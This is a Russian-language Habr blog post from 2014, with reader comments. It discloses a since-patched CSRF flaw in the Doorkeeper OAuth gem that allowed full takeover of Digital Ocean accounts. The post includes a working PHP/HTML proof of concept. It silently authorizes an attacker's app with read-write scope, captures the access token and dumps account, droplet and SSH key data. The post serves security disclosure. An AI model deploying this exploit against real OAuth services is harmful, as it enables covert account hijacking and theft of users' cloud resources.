16 декабря 2014 в 17:16

Захватываем полный контроль над чужим облаком Digital Ocean (уязвимость в Doorkeeper)

Как и многие хабрапользователи, я пользуюсь «облачными» технологиями, в т.ч. арендую VPS (виртуальные сервера) в разных странах мира. Порядка двух лет я пользовался Амазоном и не сказать, чтобы был доволен, но хватало.

В сентябре прошлого года я наткнулся на очень агрессивную PR компанию от Digital Ocean (DO) и решил воспользоваться их услугами. С того момента я забросил Амазон (ни разу не реклама) и полностью перешел на DO.
image

И чем больше пользуешься каким-либо сервисом и чем больше доверяешь ему своих данных, тем более пристально смотришь, как он работает.

Веб DO написан на RoR, также повсеместно используется GO/Perl, БД — MariaDB / PostgreSQL (весьма странно что оба вместе в одном продукте, ну да ладно). И из нескольких security-репортов хотелось бы выделить один, уже исправленный, с самой простейшей багой и самым большим импактом — захват контроля над чужим аккаунтом.

Место встречи


Как-то давно я писал статью про безопасность API и что смотреть уязвимости лучше именно там. Осмотрев свой аккаунт и функционал заметил — что здесь он как раз есть. Можно создавать «developer applications».


Окно создания приложения

Доступ через приложение к аккаунту


Почитав документы — developers.digitalocean.com, изучив запуск новой версии API понял, что могу создать приложение, после на него мне дается ссылка вида — cloud.digitalocean.com/v1/oauth/authorize?client_id=34fc7d56883b7e33b2f305642acb5ec6e5a14271ba83084dc6a0ca2b22d29555&redirect_uri=https%3A%2F%2Fsergeybelove.ru%2Fexploits%2F&response_type=code


Пример запроса доступа к аккаунту

В url можно задать параметр scope. Вместо типичного решения разделения прав по модулям (например, как в соц. сетях — доступ к друзьям, фотоальбомам и т.п.) ребята из DO решили сделать по-другому, можно запросить доступные операции — read|write (без явного указания параметра выставляется только read), при этом выдавая доступ сразу ко всем модулям. Далеко не лучшее решение.

Вектор атаки


Если юзер нажмет на «Authorize Application» его автоматически перекинет по callback url с специальным токеном. Этот токен можно использовать уже на своей стороне (разработчика) для запроса следующего токена, который нужен непосредственно для вызовов самих методов API (информация об аккаунте, управление дроплетами и т.п.).

Вся их ошибка сводилась к тому, что можно провести CSRF атаку на установку приложения (создать на своей стороне форму, идентичную запросу выше на картинке, поменять action формы на DO и выполнить submit). CSRF токен они используют, но не проверяют на серверной стороне.

Как итог, мы просто размещаем где-либо нужный html/js код, помещаем его в скрытый фрейм и, незаметно для пользователя, устанавливаем ему свое «злобное» приложение, попутно отлавливая access_token, который юзер передаст по callback_url на наш сервер.

Для наглядности приведу свой PoC. При посещении кода с такой страницей — устанавливалось приложение, отлавливался access_token, запрашивался следующий и выводились некоторые данные аккаунта

<html>
 <body<?php if (!isset($_GET['code'])) echo ' onload="document.forms[0].submit()"'; ?>>
    <form action="https://cloud.digitalocean.com/v1/oauth/authorize" method="POST">
      <input type="hidden" name="utf8" value="✓" />
      <input type="hidden" name="authenticity_token" value="" />
      <input type="hidden" name="client_id" value="___ID___FROM_DEV_PANEL__" />
      <input type="hidden" name="redirect_uri" value="http://_url_with_exploit" />
      <input type="hidden" name="state" value="" />
      <input type="hidden" name="response_type" value="code" />
      <input type="hidden" name="scope" value="read write" />
      <input type="hidden" name="commit" value="Authorize Application" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<?php
if (isset($_GET['code']) && preg_match("/^([a-z0-9]{64})$/", $_GET['code'])) {
	// lets exploit
	$resp = json_decode(shell_exec('curl -X POST "https://cloud.digitalocean.com/v1/oauth/token?grant_type=authorization_code&code='.$_GET['code'].'&client_id=_CLIENT_ID_OF_DEV_APP&client_secret=CLIENT_SECRET_OF_DEV_API&redirect_uri=http://_url_with_exploit"'));
	$token = $resp->access_token;
	echo "Your token is: ".$token;
	echo '<h1>User info:</h1><pre>';
	print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/account"')));
	echo '</pre><h1>Droplets info:</h1><pre>';
	print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/droplets"')));
	echo '</pre><h1>SSH keys info:</h1><pre>';
	print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com//v2/account/keys"')));
	echo '</pre>';
	
}


Итог — полный контроль над аккаунтом. Некоторые из доступных методов (просто указывая scope=read,write):

  • Создание, удаление дроплетов
  • Создание, удаление, обновление ssh ключей
  • Перемещение образов дроплетов (на другие аккаунты)

В целом — густо. Данная уязвимость запатчена, остальные, к сожалению, нет. Может получится о них рассказать в скором времени.

upd: уязвимость допущена не разработчиками DO, а находится в самом джеме для OAuth — Doorkeeper, который используется на множестве сайтов.
Автор: @BeLove
Digital Security
рейтинг 228,60
Безопасность как искусство
Похожие публикации

Комментарии (10)

  • –8
    Круто! Всё гениальное просто.
    От уязвимостей, конечно, никто не застрахован, но еще на стадии знакомства с Digital Ocean показалось, что сервис пока сыроват и выдает себя за большее, чем на самом деле является. Даже качество и подробность RTFM-ов сильно отстает от Амазона или Openshift-a, а уж мануалы писать — не мешки ворочать. В итоге погонял какой-то хеллоу-ворлд у них 3 месяца и решил, что пока не могу доверить им основные свои карточки и проекты. Видимо, не зря.
    • +9
      Так им всего 3 года.
      Сообщество с манами у них довольно сильное, а простота сервиса и ясность ценников — меня подкупили. Данная статья не повод делать выводы о сервисе, это точно. Уязвимости везде найдутся — все зависит от популярности сервиса (посмотрите на количество критичных уязвимостей в Google, например).
      Амазон даже копать не хочется. Открываешь а там такой трэш в интерфейсе) что не найти порой, где ж у тебя нужный функционал.
      • 0
        Да, по сравнению с другими «молодыми» облаками, которые я пробовал, DO действительно хорош. И при этом он даже не самый дорогой :)
        Но если говорить про простоту, то на мой взгляд, их концепция выполнения простых действий довольно сильно отстает от Openshift-a с его картриджами и консольной тулзой rhc (там вроде бы и с веб-интерфейсом всё в порядке, но из консоли с картриджами работать вообще кайф). Хотя это вопрос привычки, конечно.
  • +1
    Запатчена после того как вы сообщили об уязвимости?
    Вам дали хотя бы год бесплатного сервиса за это?

    По качеству предоставляемых услуг они (по моему личному опыту) надежнее Хетцнера.

    А уязвимость мощная, конечно.
    • +9
      На данный момент запатчена. Дали 100 долларов на счет, с моими расходами — около полугода.
  • +1
    Двухфакторная авторизация спасет от такой дыры?
    • 0
      Нет.
  • 0
    Да как всегда, на крупных сервисах всегда серьёзные уязвимости вот по такому банальному сценарию, потому что человеческий фактор срабатывает, тесты проходят, код ревью пропускают и пошло-поехало в продашен)
  • +1
    Статья обновлена, косяк не DO, а джема.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка